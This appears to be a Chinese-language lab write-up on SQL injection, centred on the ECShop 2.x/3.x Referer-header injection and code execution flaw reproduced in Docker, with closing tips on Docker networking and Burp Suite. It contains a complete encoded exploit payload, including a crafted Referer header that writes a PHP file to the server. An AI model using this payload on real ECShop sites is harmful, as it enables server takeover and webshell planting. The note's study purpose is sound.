SQL注入
原理
SELECT * FROM SQL_Injection WHERE id=$_GET['a']; 1 1 and 1=1 SELECT * FROM SQL_Injection WHERE name= '$_GET['a']'; boolean_blind boolean_blind' and 'a' = 'a SELECT * FROM SQL_Injection WHERE name= 'boolean_blind' and 'a' = 'a'
ECShop 2.x/3.x SQL注入/任意代码执行漏洞(Docker)分析
1:注入点和漏洞产生原因
referer
值未加判断直接引用,可被攻击者控制输入
利用_echash
为定值进行切分,构造payload
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
该语句使得 php 能被保存为文件并直接被执行,同时也是 webshell
注入点。
2:构造注入语句返回 phpinfo();
解码ecshop2.x 代码执行 (seebug.org)提供的webshell
修改注入语句为
file_put_contents('1.php','<?phpinfo(); ?>')
Base64封装
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHBpbmZvKCk7ID8+Jyk='));//}xxx
转换为16进制字符以转义单引号实现注入
0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e5044397761484270626d5a764b436b374944382b4a796b3d2729293b2f2f7d787878,10— -
构造 Referer
字段
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:248:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e5044397761484270626d5a764b436b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
过程中的问题与解决:
php容器和mysql容器无法互访
解决方法:
docker 查看 compose组的网段
docker exec -it mysql ip addr #查看当前ip
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
外部查看ip
将ip由localhost换成通信用ip
Docker compose 内写的 depends_on mysql
也就是说alisa为mysql而不是localhost
Burp抓包的使用心得
利用repeater查看历史记录并修改历史请求重复提交
Burp有很全的encoder、decoder功能,不用找网站进行encoder、decoder了
Comments
Leave a comment